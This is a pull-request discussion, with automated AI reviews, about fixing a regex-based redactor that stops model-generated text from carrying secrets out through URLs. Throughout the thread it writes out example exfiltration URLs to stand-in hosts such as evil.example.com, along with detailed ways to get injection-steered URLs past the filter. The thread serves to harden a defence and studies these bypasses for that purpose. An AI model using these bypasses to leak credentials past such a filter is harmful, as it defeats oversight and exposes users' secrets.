fix: scan whole URL past sub-delims in exfil redactor (#7611)

[patrigao]

Problem / Motivation

The shared exfiltration-URL redactor's _URL_RE (src/kiro_crew/security.py) excluded ) and ' from its path/query character class. A URL carrying either character in its path truncated the match before the ?, so _exfil_url_warning received a path_and_query with no query and returned clean at its qmark == -1 early return. Everything after the truncation — the entire query string — escaped every scan that follows (hard-credential pass, fixed-signature pass, percent-decode loop, and the base64/entropy heuristic).

Verified repro through _redact_provider_data: https://evil.example.com/a?data=<40-char-blob> is redacted; https://evil.example.com/a)b?data=<same-blob> passed clean. The reporter's measured follow-up showed the whole terminating class was affected (), ', ", >, whitespace), and an apostrophe in a page title is enough to trip it — no encoding tricks needed.

Why it matters

redact_provider_data / redact_exfiltration_urls run on every provider- or model-controlled string that reaches an output surface (issue/PR bodies, review comments, Jira strings). A single ordinary character in a URL let a high-entropy query blob skip the entropy and credential checks — a real data-exfiltration bypass. This is the third truncation bypass of the same class after the raw-IP-host and no-path-query fixes the regex comment already documents.

What changed (motivation → approach → change)

Root cause: the path/query character class inherited an emission grammar (which characters end a URL when it is put into a markdown destination or a quoted string) and applied it to the scanner (which wants the whole URL). Per the reporter's suggested direction — permissive for classification, strict only for emission:

• Widen the scan class to stop only at whitespace and the raw-illegal ", >, ` (all illegal unencoded in a URL per RFC 3986, so every linkifier/renderer/unfurler stops there). ) and ' are RFC 3986 sub-delims — legal URL content — and are now scanned through.
• _url_scan_span(match) performs a wrapper-aware trim before classification and redaction: a trailing wrapper quote or ) is stripped ONLY on structural proof of a wrapper — the same quote, or the matching (, must immediately PRECEDE the URL — and never more than one byte (round 3: the earlier while-loop trimmed every unbalanced trailing ), hiding a pure )-run from the length heuristic; round 4: without the preceding-( proof, a bare URL's legal trailing ) byte was dropped and an exactly-threshold query slipped under the length check). It never strips a run and never truncates at an interior '/) (which would reopen the bypass for a quote-wrapped path that legitimately contains an apostrophe). The residual is a bounded false positive (over-redacting a quoted URL immediately followed by a quoted field, or over-scanning the stray closer of a double-wrapped ((url))) — the safe direction.
• Host-bearing glued-URL boundary (?!https?://<host>), whose host alternation is shared with the captured host group via one _URL_HOST constant, splits back-to-back URLs so a glued second URL is classified under its own host. It requires a real host after the inner scheme, so it fires only where the split yields a scanned match — a bare (?!https?://) split on https://evil/https://?key=<secret> (inner scheme, no host) produced no second match and left the first match's group(3) as just /, reopening the qmark == -1 bypass.
• Glued spans get no host-based trust (review round 3): a match that starts exactly where the previous match ended exists only because the boundary split one unbroken run of URL-legal text — in raw channels those bytes travel to the FIRST host, so the tail span could otherwise claim an exempt tenant host's exemption while the payload is fetched from the evil outer host (https://evil.tld/?q=)https://tenant.tld/?nav=<base64>). Both scan and redact now deny the exact-host and presigned exemptions for glued spans and run the full heuristics; standalone exempt URLs are unchanged. This is deliberately stronger than narrowing the split to wrapper-adjacent positions, since the glue character is attacker-chosen.
• re.IGNORECASE | re.ASCII on the pattern: the scheme is case-insensitive per RFC 3986 §3.1 (an uppercase HTTPS:// a browser follows must not bypass the scan), and re.ASCII keeps the fold ASCII-only so a Unicode case-fold (s↔ſ, k↔K) cannot widen the scheme/TLD classes.
• Span-precise redaction: redact_exfiltration_urls now splices each classified match by span, right-to-left, instead of a global str.replace(url, …) that could rewrite a longer URL sharing the same leading bytes and leave its tail behind.

Minimal blast radius: scan-side widening only. Markdown emission (#7543's _md_link_target, which is not in this tree) is untouched.

Tests

New cases in test/test_security.py (TestExfilUrlPathAndRawIp) and test/test_source_providers.py:

• paren-in-path and apostrophe-in-path query blobs are flagged and redacted (the issue's repro), and through _redact_provider_data (the named entry point);
• a credential beyond the paren (no ?) is still scanned;
• "/>/backtick still terminate, with content before them still scanned; a compact-JSON sha adjacent to a "-wrapped URL stays clean;
• markdown-wrapped URLs keep their closing ) on redaction; a markdown-wrapped S3 presigned URL keeps its exemption; a benign balanced Foo_(bar) wiki URL stays clean;
• a glued second URL is attributed to its own host;
• regression guards for the review-round fixes: a )'-run query is not stripped wholesale; a PURE 250×) trailing run stays in the scanned span (round 3); a glued exempt-tenant span loses its exemption while a whitespace-separated one keeps it (round 3); a bare URL's trailing ) byte counts toward the length threshold while a wrapped URL still sheds only its wrapper (round 4); the inner-scheme-no-host case is still scanned; the trailing-paren trim is linear (100k-) run returns promptly); an uppercase and a Unicode-fold scheme do not act as a boundary; span-precise redaction of prefix-related URLs.

Manual verification

N/A — unit coverage is sufficient; this is a pure text-classification change exercised end-to-end through scan_exfiltration_urls, redact_exfiltration_urls, and _redact_provider_data.

Related Issues

Fixes #7611

Pattern harvest

Rule candidate: review-prompt
Pattern: an emission/serialization grammar (which characters terminate a token when it is placed into markdown/HTML/a quoted string) reused as a scanner grammar — the scanner truncates on a legal-content character and everything past it escapes inspection. Three instances now in _URL_RE alone (raw-IP host, no-path query, sub-delim path). When a validator and an emitter share a character class, check whether the validator wants the maximal token and the emitter the delimited one.

[github-actions]

Design Review (Fable 5) — 🟡 CONCERNS

Design-level review of d8194dd6c844c3223824a3e153b80bd441f63aaa — updated in place on each push. A BLOCK verdict blocks PR readiness; PASS/CONCERNS are advisory.

Design-Verdict: CONCERNS

Sound root-cause fix on the backend, but the same emission-grammar bug it names stays live in the frontend mirror scanner.

Watch

The PR diagnoses the root cause as an emission grammar leaked into a scanner, yet website/src/utils/sanitize.ts:119 still carries exactly that class ([^\s)"'>] plus the leading-/ requirement and the qmark === -1 bail), so the one-character paren/apostrophe truncation bypass survives on every client-only render path — the paths security.md itself says the mirror exists to cover ("opening the hole on any client-only render path"). The PR also doesn't update the security.md frontend-mirror bullet to record this new wiring divergence, so the doc now understates the gap it exists to state.
Clears when: the frontend URL_RE gets the same scanner-grammar fix (or a follow-up PR is filed and the security.md mirror bullet names this divergence explicitly).

Suggestions

• Scan and redact now duplicate the glued-span/prev_end logic under "keep in sync" comments — hoist one shared match-classification iterator so the two loops can't drift, the same reason _exfil_url_warning is shared.

[DESIGN-REVIEWED] d8194dd

[github-actions]

First Principles Review (Fable 5) — 🟡 CONCERNS

Premise-level review of d8194dd6c844c3223824a3e153b80bd441f63aaa — why this exists and whether the shipped surface is the smallest honest version. Updated in place on each push. A BLOCK verdict blocks PR readiness; PASS/CONCERNS are advisory.

All facts are verified. The strongest finding: source_providers.py:3439-3441 explicitly schedules a deletion at exactly this PR ("Retire it when #7611 lands rather than keeping both") and this PR — which is #7611 — leaves it, now drifted against the new terminator set (it encodes '/(/) which the scanner now crosses, and misses </backtick which the scanner now stops at). I also confirmed the shipped class [^\s\"<>\]makes<a terminator while the description, the new code comment, and the rewritten spec all state the set as only"/>/backtick — <was scanned through on base. And the frontend mirror atsanitize.ts:119` keeps the old truncating class, an unfixed sibling of the root cause.

First-Principles-Verdict: CONCERNS

#7611's own scheduled subtraction is skipped: _URL_SCAN_ESCAPES says "Retire it when #7611 lands" — this PR is #7611 and keeps it, drifted.

Not justified as shipped

• Item 2 — undeclared: shipped class [^\s\"<>\]makes< a terminator; description, new comment (exfil.py:92) and rewritten spec all claim only "/>/`` ``. Content past a raw < was scanned on base and no longer is.
• Item 3 — rides along: separate pre-existing bypass (case-sensitive scheme), declared and RFC-derived, but not the Exfiltration URL scan stops at a ')' in the path, leaving the query unscanned #7611 defect.
• Item 7 — rides along: separate str.replace prefix-corruption defect, declared, entangled with the trim.
• Item 9 — rides along, undeclared: docstring rewords in untouched TestSandboxDeniedCommands; derived from the comment-history rule (code-style.md:69), so no concern.

What this change ships

Intent: stop a legal )/' in a URL path from truncating the exfil scan so the query escapes every check (#7611) — a FIX, with provenance (repro tests that fail on base).

1. )/' in a path/query no longer truncate; queries behind them are scanned and redacted — justified
2. Raw < now ends a URL match; content past it is unscanned — undeclared
3. Uppercase/mixed-case HTTPS:// URLs are now scanned — rides along (declared, RFC-derived)
4. Glued back-to-back URLs split; the second is classified under its own host — justified
5. Glued spans lose exact-host and presigned exemptions — justified
6. Markdown/quote wrappers trimmed from span; wrapped benign URLs keep prior behavior — justified
7. Redaction splices exact spans; prefix-sharing URLs no longer corrupted — rides along (declared)
8. security.md exfil bullet rewritten to the new scanner contract — justified
9. Two test docstrings reworded to present tense — rides along, undeclared (invariant-derived)

Watch

• _URL_SCAN_ESCAPES (source_providers.py:3442) is a self-declared shadow of the scanner's terminator set: "exists only while the scanner carries the bug. Retire it when Exfiltration URL scan stops at a ')' in the path, leaving the query unscanned #7611 lands rather than keeping both." Left in place, it has already drifted the way it predicted — it still encodes '/(/) (now scanned through) and omits the new terminators </`, so on the provider-data path content past those characters escapes the scan where the encoded set once prevented it. Clears when: the table, _URL_SPAN_RE, and the scanned-copy branch (source_providers.py:3505-3507) are deleted here or in a follow-up linked from Exfiltration URL scan stops at a ')' in the path, leaving the query unscanned #7611.
• The < terminator (item 2): the spec text this PR ships misstates the shipped class. Clears when: the class and the stated set match — drop < or name it alongside "/>/` in exfil.py's comment and security.md:439.
• Unfixed sibling of the root cause: website/src/utils/sanitize.ts:119 URL_RE keeps the old truncating class [^\s)"'>]* (grepped \[\^\\s\) tree-wide: 1 security-relevant sibling). The description ("Minimal blast radius: scan-side widening only") never says what is left. Clears when: the mirror is widened or the deferral is recorded on Exfiltration URL scan stops at a ')' in the path, leaving the query unscanned #7611.

Subtractions

• Delete _URL_SCAN_ESCAPES, _URL_SPAN_RE, and the scanned-copy call sites at source_providers.py:3505-3507 — the repo already recorded this exact deletion as the resolution when Exfiltration URL scan stops at a ')' in the path, leaving the query unscanned #7611 lands (2 consumers, both in that file).

[FIRST-PRINCIPLES-REVIEWED] d8194dd

[github-actions]

Opus 4.8 Review — ✅ no blocking findings

Reviewed d8194dd6c844c3223824a3e153b80bd441f63aaa — this comment is updated in place on each push.

Review details

I've independently traced the changed code in exfil.py against the failure modes that matter here:

• Group numbering (_URL_HOST uses only non-capturing groups; group 1=host, 2=port, 3=path/query) is unchanged, so match.group(1/2/3) at both call sites stay correct.
• _url_scan_span trimming: quote-trim and paren-trim branches are mutually exclusive (preceding is one char), so end decrements at most once; with the if not path_and_query guard, no negative index or over-trim. Trimmed url is a true prefix of match.group(0), so redaction spans [start, start+len(url)] stay within match bounds and non-overlapping across matches — reverse splicing is offset-safe.
• glued detection is computed from the untrimmed match.end()/match.start() of consecutive finditer matches, so an abutting split is always caught; prev_end=-1 init means the first match is never glued. The glued path passes frozenset() + allow_safe_presigned=False — strictly stricter, no under-scan.
• Regex linearity: the path/query (?:(?!…)[^\s"<>])*consumes one char per iteration; the lookahead's_URL_HOSTbacktracking only engages where a literalhttps?://aligns, so worst case is O(N), not catastrophic.re.ASCII|IGNORECASE` folds only ASCII, and Unicode whitespace being included is over-scan (safe).
• _exfil_url_warning already carries the allow_safe_presigned keyword the new call sites pass; unconditional credential/percent checks still precede the host/presigned exemptions.
• Spec security.md is updated in the same commit.

Nothing survives to the 80+ bar; the discovery pass's "no candidates" holds under independent falsification, and I found no groundable Step-2 addition.

No findings.

[OPUS-REVIEWED] d8194dd

Verdict parsed from the review's SHA-scoped output markers for commit d8194dd6c844c3223824a3e153b80bd441f63aaa.

False positive or not applicable? A repository writer can comment:
/ai-review override fable d8194dd6c844c3223824a3e153b80bd441f63aaa: <one-sentence reason>

[patrigao]

🤖 Kiro Crew Auto-Pipeline [operator: patrigao]: Addressed both red gates on head 7733651.

• Backend Lint (black): test/test_security.py is now black-clean (--target-version py310); it was the only new offender, the baselined files are untouched so no unrelated churn.
• CodeQL "Incomplete URL substring sanitization" (test/test_security.py): fixed — the flagged line was a test assertion "evil.example.com" in warnings[0]. It is test-only (asserting which host a warning names, not a production auth/sanitization check), but the substring form trips the query. Rewrote it as warnings[0].endswith(": evil.example.com"), which matches the exact Suspicious URL ...: {domain} warning suffix — a precise, non-substring check that both clears the alert and tightens the test. No production sanitization path uses a hostname substring check; redaction is span-precise on the matched URL.

[github-actions]

GPT 5.6 Review — 🔴 changes requested (blocking)

GPT 5.6 found at least one blocking issue that must be resolved before merging d8194dd6c844c3223824a3e153b80bd441f63aaa. 1 of 1 blocking finding(s) are security-class and were withheld from adjudication, so the blocking verdict stands.

This comment is updated in place on each push.

BLOCKING -- src/kiro_crew/security/exfil.py:115 -- URL scanner still truncates browser-delivered hrefs
r"(:\d+)?([/?](?:(?!https?://(?:" + _URL_HOST + r"))[^\s\"<>])*)?",Quoted href with<, or ...https://a.co_m?...->_URL_REstops before the query -> browser sends unredacted data toevil.example`.
Anchor: backend-security-controls
Fix: Scan complete quoted hrefs and split inner URLs only after validating the full authority boundary.
[BLOCK-MERGE] d8194dd
[GPT-REVIEWED] d8194dd

Adjudication (Opus 4.8) — is blocking on each finding proportionate?

I cannot execute code in this environment, so I ruled on the regex semantics directly, which are decisive here.

F1 analysis (fenced). The tail char class uses the negative lookahead (?!https?://(?:_URL_HOST)) to split back-to-back URLs, and the code comment (exfil.py:98-108) claims "Requiring a host in the lookahead means the boundary fires only when the split is guaranteed to yield a scanned match." That guarantee does not hold. _URL_HOST's DNS branch [a-zA-Z0-9._-]+\.[a-zA-Z]{2,} matches a.co inside a.co_m (the .[a-zA-Z]{2,} cannot extend past the _), so:

• First match (https://evil.example/?a=…) truncates its group(3) at the inner https:// because the lookahead trips on the x.co/a.co prefix (exfil.py:115).
• The second match consumes host a.co, then the next char is _, which is not [/?], so group(3) is None — the _m?key=secret / _<base64> continuation is captured by no match's path/query and is scanned by nothing (_url_scan_span returns empty, exfil.py:161-163; the whole URL still travels to evil.example).

This is the exact truncation-bypass class the PR set out to close, on the credential-egress redaction ceiling. Harm rung: UNBOUNDED (secret/credential exfiltration past the redaction gate). Recovery path: none — once the unredacted link renders and is clicked, the secret is delivered irreversibly. Rarity: the trigger is model-authored/injection-steered text carrying a crafted URL — precisely this module's stated threat model (exfil.py:1106-1123), not an extreme or self-contradicting condition an operator's own writer cannot produce. I cannot complete a rarity record that would justify a FLAG.

Adjudicable (non-fenced) block is empty.

[ADJUDICATION] d8194dd6c844c3223824a3e153b80bd441f63aaa total=0 uphold=0 downgrade=0
[GPT-ADJUDICATED] d8194dd6c844c3223824a3e153b80bd441f63aaa
[ADJUDICATION-FENCED] d8194dd6c844c3223824a3e153b80bd441f63aaa fenced=1 flagged=0
UPHOLD-FENCED F1 src/kiro_crew/security/exfil.py:115 -- The lookahead matches a host prefix (`a.co` in `a.co_m`) and splits, but the second match's group(3) requires `[/?]` after the host, so the `_…` continuation orphans the query and escapes every scan — an unbounded exfil-ceiling bypass in this module's own threat model, with no recovery once the link is clicked.
[GPT-ADJUDICATED-FENCED] d8194dd6c844c3223824a3e153b80bd441f63aaa

False positive or not applicable? A repository writer can comment:
/ai-review override gpt d8194dd6c844c3223824a3e153b80bd441f63aaa: <one-sentence reason>

[patrigao]

• Nested URLs can inherit a trusted-host exemption — disposition: fixed in 153efd3.

Outer evil URL containing a trusted nested URL -> regex splits at the inner scheme -> trusted-host exemption skips its high-entropy query -> payload reaches the evil host unredacted.

Confirmed legitimate. Fixed with a stronger invariant than the suggested "split only after a )/' wrapper delimiter": that narrowing is itself bypassable, because the glue character before the inner scheme is attacker-chosen — https://evil.tld/?q=)https://tenant.tld/?nav=<base64> places a ) at the boundary and re-opens the same leak through the narrowed split. Instead, the split stays as-is and the exemption is denied for any match that starts exactly where the previous match ended (match.start() == prev_end in both scan_exfiltration_urls and redact_exfiltration_urls): a glued span exists only because the boundary lookahead split one unbroken run of URL-legal text, and in raw channels those bytes travel to the FIRST host, so the span may not claim its own host's trust — no exact-host exemption and no presigned exemption; full heuristics always. Standalone (whitespace/terminator-delimited) exempt URLs keep the exemption unchanged.

Regression tests: test_glued_exempt_host_span_is_not_exempt (evil outer + glued exempt tenant carrying a >200-char base64 nav= payload — fails on the old code, payload now flagged and redacted) and test_exempt_host_after_whitespace_keeps_exemption (non-glued exempt URL right after another URL stays exempt). Existing test_glued_second_url_scanned_under_its_own_host and test_markdown_wrapped_presigned_url_still_exempt still pass.

[patrigao]

• Trailing parenthesis payloads are removed from inspection — disposition: fixed in 153efd3.

URL query ending with 200+ legal ) characters -> loop trims the entire payload -> length heuristic sees only the prefix -> URL passes unredacted.

Confirmed legitimate — the while loop violated the trim's own documented invariant ("never a payload run") for a PURE ) run, where openers==0 keeps closers > openers true all the way down. Applied the suggested fix: the trim is now an if that removes AT MOST ONE unbalanced trailing ) (the single markdown [x](url) wrapper). A longer run stays in the scanned span, so its bytes count toward the length heuristic; the one stray closer a double-wrapped ((url)) leaves behind is merely over-scanned — a bounded false positive, never an unscanned byte.

Regression test: test_pure_trailing_paren_run_stays_in_span (?d= + 250×) — fails on the old code, now flagged by the length heuristic and redacted). Wrapper behaviour is unchanged and still locked by test_markdown_wrapped_presigned_url_still_exempt (the trimmed single ) is what keeps a wrapped presigned URL structurally valid) and test_benign_wiki_paren_url_not_flagged (balanced interior paren preserved).

[patrigao]

• Unwrapped URL loses a legal payload byte — disposition: fixed in 63afb4d.

200-character query ending in ) -> _url_scan_span trims it to 199 -> length check passes -> URL is emitted unredacted.

Confirmed legitimate; applied the suggested fix. The trailing-) trim now requires the structural wrapper proof — the character immediately preceding the URL must be the matching ( — exactly mirroring the quote-wrapper rule that already required the same quote on both sides. A bare URL whose query legally ends in one unbalanced ) keeps that byte, so a query of exactly _EXFIL_QUERY_MIN_LEN characters no longer slips under the length heuristic; a [x](url) / (url) wrapper still sheds exactly its one wrapper byte, and the attacker can only make a byte leave the span by also placing the paired ( before the URL — bounding the slack to the wrapper byte itself.

Span note for the ledger: this is the second round landing in _url_scan_span (round 3: run-trim; round 4: wrapper proof). The invariant is now terminal — a byte leaves the span only when a wrapper pair is structurally proven on both sides (same-quote rule for quotes, preceding-( rule for the paren), and never more than one byte. Regression tests: test_bare_url_trailing_paren_counts_toward_length (bare 200-char query ending in ) — fails on the prior code, flagged now; wrapped 199-char control still sheds only its wrapper and stays clean), plus round-3's test_pure_trailing_paren_run_stays_in_span, and the pre-existing test_markdown_wrapped_presigned_url_still_exempt / test_benign_wiki_paren_url_not_flagged all pass.

[patrigao]

• Less-than sign still bypasses redaction in raw HTML links — disposition: needs-a-decision (maintainer ruling requested; span _URL_RE/_url_scan_span, hit count 3 — stall rule engaged, no further patch without a ruling).

Raw <a href="https://evil.example/a<b?data=<40-char-blob>"> -> redactor truncates at < -> MarkdownRenderer preserves the href -> clicking sends the unredacted query.

Legitimacy check (done before escalating): the chain is reachable — website/src/components/MarkdownRenderer.tsx imports rehypeRaw, so raw HTML anchors render, and inside a double-quoted attribute value < is legal content up to the closing ". The finding holds.

Why I am not pushing a fourth patch: this is the third consecutive round landing in the same span, and all three findings relitigate one design question — which delivery-channel model defines where a URL span ends?

Round	Head judged	Finding	Patch applied
3	7733651	trailing ) RUN trimmed wholesale → length heuristic saw only the prefix	trim at most one unbalanced ) (153efd3)
4	153efd3	single trailing ) trimmed without wrapper proof → exactly-threshold query slipped under the length check	trim requires the preceding ( structural proof (63afb4d)
5	63afb4d	< treated as a hard terminator → span truncated inside a quoted raw-HTML href; query escapes every scan	stopped here

The class currently stops at whitespace + " < > ` on the documented premise that these are "illegal raw in a URL, so every linkifier, renderer, and unfurler stops there." Round 5 falsifies that premise for < (and symmetrically > and the backtick) inside quoted attribute values under rehype-raw. Point-removing < as suggested buys round 6 on > or the backtick by the same mechanism.

The ruling requested — pick one:

1. Adopt the terminal wrapper-pair model. Hard terminators shrink to whitespace and " only (the " is load-bearing: it is what ends a quoted href value in real HTML parsing, and removing it would swallow document text into spans). Everything else — ', (), <>, ` — becomes URL content, with the existing at-most-one, structurally-proven wrapper trim generalized to each pair ('↔' exists, (↔) exists; <↔> and backtick pairs added the same way, which also keeps <https://a.com> autolinks exact). This closes the whole class at the cost of over-scanning in prose channels — bounded false positives, the safe direction — and one more amend to this PR.
2. Accept the raw-HTML residual and override. Keep the current terminator set, record </>/backtick-in-quoted-attribute as an accepted residual risk, and clear the gate with /ai-review override gpt 63afb4d865e36f16f7708af7f599695c66bc1c7d: <reason>. Fastest, but the residual is a real exfil channel wherever raw HTML renders.
3. A different design you prefer (e.g., abandon in-pattern terminators and scan whole whitespace-delimited tokens) — say the word and I will implement it as the next amend.

Option 1 is my recommendation: it is the invariant that makes all three rounds' findings unreachable at once, rather than a fourth point-fix.

[bolichen97]

Open PR relationship audit

This is a consolidated, point-in-time code-level audit note. It compares complete merge-base diffs and current/merged code; it does not treat a shared topic as duplication or partial coverage as completion.

Relationship findings

• This PR is OVERLAPPING with PR #8291. The goals differ or the implementations can complement each other; this is not a duplicate claim. Recommended action for PR #7666: CONTINUE_DEVELOPMENT. Same statement in redact_exfiltration_urls, different goals. Agree a landing order and make the second PR re-apply the first's change rather than resolving the conflict by dropping half of it. Files: src/kiro_crew/security.py, website/src/utils/sanitize.ts.

No PR, Issue, label, branch, or review state was changed by the relationship-note portion of this audit.

[bolichen97]

Rebased onto main 8534cbf75 by a maintainer as part of the 2026-09-08 open-PR audit.

Conflicts and how they were resolved:

• src/kiro_crew/security.py (modify/delete): merged refactor(security): split security.py into a package and drop path regex #9183 split the module, so every src hunk was moved verbatim into src/kiro_crew/security/exfil.py (_URL_HOST, the widened _URL_RE + re.IGNORECASE | re.ASCII, _url_scan_span, the glued-span rule in scan/redact, the right-to-left span splice). The splice now emits main's exported EXFILTRATION_REDACTION_TAG_PREFIX instead of the inline tag literal, so nothing from that landing is dropped.
• docs/system-specs/modules/security.md: kept main's current exfil bullets and re-inserted this PR's added paragraph into the same bullet.
• Blank-line/black fixes were needed because the new home is not in .github/black-baseline.txt (the old security.py was).

Gates run locally on changed files: black --check, isort, flake8 clean; pytest test/test_security.py -k "xfil or edact or Url" 306 passed, test/test_source_providers.py (url/redact) 80 passed, test/test_redaction_mirror_parity.py 10 passed. test/test_source_providers.py remains unformatted, as it already was on main (baselined).

Please review the resolution. A maintainer push makes the maintainer the last pusher, so a second approver is needed under the repo's last-push rule. Reply if anything looks wrong.

[patrigao]

Reviewed the resolution — it is faithful. I diffed the added source lines of the pre-rebase head (63afb4d86, hunks in security.py) against the ported hunks in security/exfil.py on e34736583: identical except the two deltas you named — black joining the https?:// fragment with the host group, and the splice emitting EXFILTRATION_REDACTION_TAG_PREFIX (whose value "[REDACTED: suspicious URL to " produces byte-identical redaction output to the previous inline literal). One small drop in the move: the 4-line comment above _URL_HOST explaining why the host shapes are spelled once and reused in the boundary lookahead. Not load-bearing; happy to restore it in a follow-up push if you want it kept.

Doc and test deltas vs main match the original PR exactly (test/test_security.py +248, test/test_source_providers.py +12, one doc bullet). Thanks for the rebase and the local gate run.

Note for reviewers: the round-5 needs-a-decision escalation (comment 5501586422) is still open — the _URL_RE/_url_scan_span span is intentionally unchanged pending a ruling on the three options posted there.

[patrigao]

Update on the stalled _URL_RE/_url_scan_span span (escalation #7666 (comment) is still the open question; no span change made without a ruling).

The PR was rebased twice today (maintainer's open-PR-audit rebase onto 8534cbf75, then mine onto 6ae74179d after #9429 landed). The span is byte-identical across all of them. On the current head d8194dd6c, GPT's re-run produced a sharper falsification of the same span than the three findings in the escalation table — worth recording because it bears on which option to pick:

New vector (GPT, adjudicated UPHOLD-FENCED by Opus): https://evil.example/?a=…https://a.co_m?key=<secret>. _URL_HOST's DNS branch [a-zA-Z0-9._-]+\.[a-zA-Z]{2,} matches a.co as a host prefix inside a.co_m (the .[a-zA-Z]{2,} cannot cross the _), so the boundary lookahead fires and splits — but the second match's group(3) requires [/?] after the host, the next char is _, group(3) is None, and the _m?key=<secret> continuation is captured by no match and scanned by nothing. The whole URL still travels to evil.example.

This is the same class the escalation is about (host-boundary lookahead is structurally fragile), and it argues for option 1 (wrapper-pair model) over a point-fix: option 1 removes the host-boundary lookahead entirely, so a.co_m-style prefix matches can't arise. A point-patch to the lookahead would be a fourth sibling fix in this span.

Still holding for a ruling — one of: (1) implement the wrapper-pair model; (2) /ai-review override gpt d8194dd6c844c3223824a3e153b80bd441f63aaa: <reason>; (3) your own design. I will not touch the span until then.